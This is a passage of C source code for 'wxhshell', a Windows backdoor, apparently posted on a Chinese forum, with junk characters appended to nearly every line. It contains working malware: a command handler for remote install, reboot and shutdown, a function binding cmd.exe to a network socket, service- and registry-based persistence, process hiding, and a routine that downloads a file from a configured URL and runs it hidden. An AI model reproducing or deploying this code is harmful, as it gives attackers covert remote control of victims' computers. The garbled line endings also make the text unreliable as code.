      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b4`t, D  
    break; Ara D_D  
  } le%&r  
  // 安装 r7w1~z  
  case 'i': { n}?XFx!%  
    if(Install()) wi'CBfr'z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \T)2J|mW  
    else G+Ft2/+\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JWhi*je  
    break; TR:V7 d  
    } df_hmkyj  
  // 卸载 wc7gOrPpm  
  case 'r': { 7J@iJW],,  
    if(Uninstall()) g?,\bmHE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7b7~D +b  
    else qN h:;`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5U)Ia>p  
    break; ??& Q"6Oe  
    } &2-dZK  
  // 显示 wxhshell 所在路径 &DoYz[q  
  case 'p': { !{'C.sb?~  
    char svExeFile[MAX_PATH]; c#'t][Ii  
    strcpy(svExeFile,"\n\r"); Fj? Q4_  
      strcat(svExeFile,ExeFile); -xg$qvK  
        send(wsh,svExeFile,strlen(svExeFile),0); 9 cU]@j}2  
    break; J^tLKTB  
    } )}QtK+Rq  
  // 重启 x6Q,$B  
  case 'b': { r;}%} /IX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); LIfQh  
    if(Boot(REBOOT)) y[M<x5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 13 `Or(>U  
    else { AlP}H~|M7  
    closesocket(wsh); sPMCN's  
    ExitThread(0); 9[yW&t;#  
    } $yG>=GN  
    break; s;!TB6b@  
    } ' S%?&4  
  // 关机 %M"rc4Xd  
  case 'd': { MrXmX[1-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T,z 7U2O  
    if(Boot(SHUTDOWN)) cXM4+pa=%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Jk[thyU  
    else { nf#;]FijB  
    closesocket(wsh); _a?c,<A  
    ExitThread(0); \09m ?;^  
    } RsnK B /  
    break; Nn/me  
    } Ql`N)!  
  // 获取shell Ph@hk0dgr/  
  case 's': { quXL'g  
    CmdShell(wsh); VX+:k.}  
    closesocket(wsh); f(}?Sp_  
    ExitThread(0); Mr/;$O{  
    break; X2CpA;#;7l  
  } ~mAv)JK  
  // 退出 vjNP  
  case 'x': { jz CA2N%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WI@l2`X  
    CloseIt(wsh); {D6lS j  
    break; )"W__U0  
    } fpd4 v|(  
  // 离开 l/WQqT  
  case 'q': { u7Z-kZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3zC<k2B  
    closesocket(wsh); p'SclH[   
    WSACleanup(); ~kHWh8\b:  
    exit(1); ?@n, 9!  
    break; =3K}]3f  
        } ScN'|Ia.-  
  } &lnr?y^  
  } l X g.`  
MaMP7O|W  
  // 提示信息 rQE:rVKVh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B=vBJC)  
} bF_SD\/  
  } jP(|pz  
 ,2yIKPWk  
  return; ](%EQ[  
} o03Y w)*  
P*=M?:Jb,  
// shell模块句柄 fXo$1!  
int CmdShell(SOCKET sock) pi?$h"y7Q  
{ CEQs}bz  
STARTUPINFO si; EA# {N<  
ZeroMemory(&si,sizeof(si)); ^l;N;5L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iX]tL:,~i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; t4Q&^AC  
PROCESS_INFORMATION ProcessInfo; &YiUhK  
char cmdline[]="cmd"; _+B{n^ {  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l$1 ]  
  return 0; E@.daUoB  
} 9E`Laf  
O0`o0 !=P  
// 自身启动模式 <m"fzT<"  
int StartFromService(void) zDD  
{ H6o_*Y  
typedef struct t=(d, kf  
{ i#4}xvi  
  DWORD ExitStatus; l%\p  
  DWORD PebBaseAddress;  $I*<gn9  
  DWORD AffinityMask; w20)~&LE-  
  DWORD BasePriority; 1n3XB+*  
  ULONG UniqueProcessId; J 2H$ALl  
  ULONG InheritedFromUniqueProcessId; a_z1S Z2[  
}   PROCESS_BASIC_INFORMATION; V*d@@%u**  
nO#a|~-))  
PROCNTQSIP NtQueryInformationProcess; |K.J@zW  
s~i 73Qk/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n{*A<-vL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; {JGXdp:SB  
jjJvyZi~J  
  HANDLE             hProcess; UlNx5l+k  
  PROCESS_BASIC_INFORMATION pbi; 7!;48\O]w  
i]$/& /  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %4$J.6M  
  if(NULL == hInst ) return 0; L9Z\|L5  
bJ!(co6t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &s0_^5B0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); H`T8ydNXa  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qh~$AJ9sB  
+o3 ZQ9  
  if (!NtQueryInformationProcess) return 0; qu`F,OG  
]H-5    
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (F+]h]KSi  
  if(!hProcess) return 0; zE8qU;  
s=8$h:^9>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {3@"}Eh  
!n^7&Y[N;  
  CloseHandle(hProcess); z(dDX%k@  
Nu,t,&B   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); APUpqY  
if(hProcess==NULL) return 0; &iTTal.6  
f^]^IXzXw.  
HMODULE hMod; n!?^:5=s  
char procName[255]; ?910ki_  
unsigned long cbNeeded; E0t%]?1  
UA3!28Y&E3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qZ<|A%WQ  
pY$DOr- r`  
  CloseHandle(hProcess); iezY+`x4  
U6IvN@ g  
if(strstr(procName,"services")) return 1; // 以服务启动 [M#I Nm}  
*|B5,Ey  
  return 0; // 注册表启动 gR 76g4|=;  
} u OB`A-K  
W<\*5oB%H  
// 主模块 Ae8P'FWB>  
int StartWxhshell(LPSTR lpCmdLine) z{ (c-7*  
{ lPA:ho/`:  
  SOCKET wsl; ?WBA:?=$58  
BOOL val=TRUE; zlhU[J}"1|  
  int port=0; }>yQ!3/i  
  struct sockaddr_in door; 92D :!C  
lEC91:Jyt  
  if(wscfg.ws_autoins) Install(); Ih_=yk  
\E8CC>Jd  
port=atoi(lpCmdLine); S{S.H?{F  
8,&pX ga  
if(port<=0) port=wscfg.ws_port; 1$v1:6  
7hAc6M$h;  
  WSADATA data; A 6j>KTU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A3A"^f$$  
#eY?6Kjn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :pNu$%q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xlm:erP  
  door.sin_family = AF_INET; ^K?Mq1"Db  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AcIw; c:  
  door.sin_port = htons(port); K*aGz8N  
umI6# Vd`=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 115zvW  
closesocket(wsl); :^J'_  
return 1; EMw biGV  
} fctVJ{?  
V_P,~!  
  if(listen(wsl,2) == INVALID_SOCKET) { /_ RrNzqy  
closesocket(wsl); t }>"nr0  
return 1;  t@+z r3  
} 4>Y\Y$3  
  Wxhshell(wsl); Rf#t|MW*#  
  WSACleanup(); ;|D8"D6]  
;T|hNsSt  
return 0; tW \q;_DSr  
*k !zdV  
} Uq=!>C8  
8?[#\KgH1  
// 以NT服务方式启动 6B&ERdoX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G0Wv=tX|  
{  c.Do b?5  
DWORD   status = 0; K)nn;j=  
  DWORD   specificError = 0xfffffff; I`[s(C>3@  
F(;95TB  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8]A`WDO3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9~6~[z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i3<ZFR  
  serviceStatus.dwWin32ExitCode     = 0; m:C|R-IL  
  serviceStatus.dwServiceSpecificExitCode = 0;  cE7IHQ  
  serviceStatus.dwCheckPoint       = 0; o0FVVSl  
  serviceStatus.dwWaitHint       = 0; u;H5p\zAzz  
6#(rWW "_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,H:{twc   
  if (hServiceStatusHandle==0) return; 9Fh1rZD<  
i1-wzI  
status = GetLastError(); }x+s5a;!3/  
  if (status!=NO_ERROR) Y5\=5r/  
{ &BkdC,o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gB}UzEj^<  
    serviceStatus.dwCheckPoint       = 0; $LJCup,1"  
    serviceStatus.dwWaitHint       = 0; }NF7"tOL  
    serviceStatus.dwWin32ExitCode     = status; #RVN 7-x  
    serviceStatus.dwServiceSpecificExitCode = specificError; vF .Ml  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A9C  
    return; #]e](j>]  
  } ;`}b .S =n  
$ v~I n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #( o(p  
  serviceStatus.dwCheckPoint       = 0; [a\>"I\[  
  serviceStatus.dwWaitHint       = 0; FW,@.CX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t.6gyrV7><  
} b(?A^ a  
+I_p\/J?w/  
// 处理NT服务事件,比如:启动、停止 S#f}mb0,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8L,i}hIo.  
{ &J}w_BFww  
switch(fdwControl) 9/4Bx!~A  
{ K91.-k3)$  
case SERVICE_CONTROL_STOP: >n6yKcjY]  
  serviceStatus.dwWin32ExitCode = 0; WG(%Pkowv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .h@HAnmE  
  serviceStatus.dwCheckPoint   = 0; G&v. cF#Y'  
  serviceStatus.dwWaitHint     = 0; VQ'DNv| 9  
  { h$I 2T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 707-iLkt.1  
  } jjU("b=  
  return; NiO|Aki{  
case SERVICE_CONTROL_PAUSE: )@\m0bnF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4KT-U6zNx  
  break; UWW_[dJr   
case SERVICE_CONTROL_CONTINUE: hwB>@r2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M$+2f.(>k)  
  break; Wz-7oP%;I  
case SERVICE_CONTROL_INTERROGATE: B4ky%gF4  
  break; 8jm\/?k|  
}; -8D$[@y(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =3<@{^Eg  
} N[8y+2SZ  
[" nDw<U  
// 标准应用程序主函数 ?R\:6x<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) dT4e[4l  
{ =~F.7wq*^  
iTg7@%  
// 获取操作系统版本 ) \|Bghui  
OsIsNt=GetOsVer(); F]7$Y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); G,JK$j>*l  
3m59EI-p  
  // 从命令行安装 Gw0MDV&[  
  if(strpbrk(lpCmdLine,"iI")) Install(); = *~Q5F  
+Rb0:r>kU  
  // 下载执行文件 n> O3p ~  
if(wscfg.ws_downexe) { t}2$no?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7(< z=F  
  WinExec(wscfg.ws_filenam,SW_HIDE); 84UI)nE:Q  
} P1Chmg  
- |j4u#z  
if(!OsIsNt) { Ri&?uCCM  
// 如果时win9x,隐藏进程并且设置为注册表启动 _$YT*o@0J  
HideProc(); $jtXN E?  
StartWxhshell(lpCmdLine); %9P)Okq  
} CxW-lU3G`  
else 7d"gRM;  
  if(StartFromService()) >djTJ>dl_u  
  // 以服务方式启动 Rr3<ln  
  StartServiceCtrlDispatcher(DispatchTable); k| Ye[GM*  
else ?f ]!~  
  // 普通方式启动 N>'|fNx]  
  StartWxhshell(lpCmdLine);  LAfv1  
o,;Hb4Eu  
return 0; o6~9.~_e  
}
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只看该作者 1 发表于: 2006-10-10
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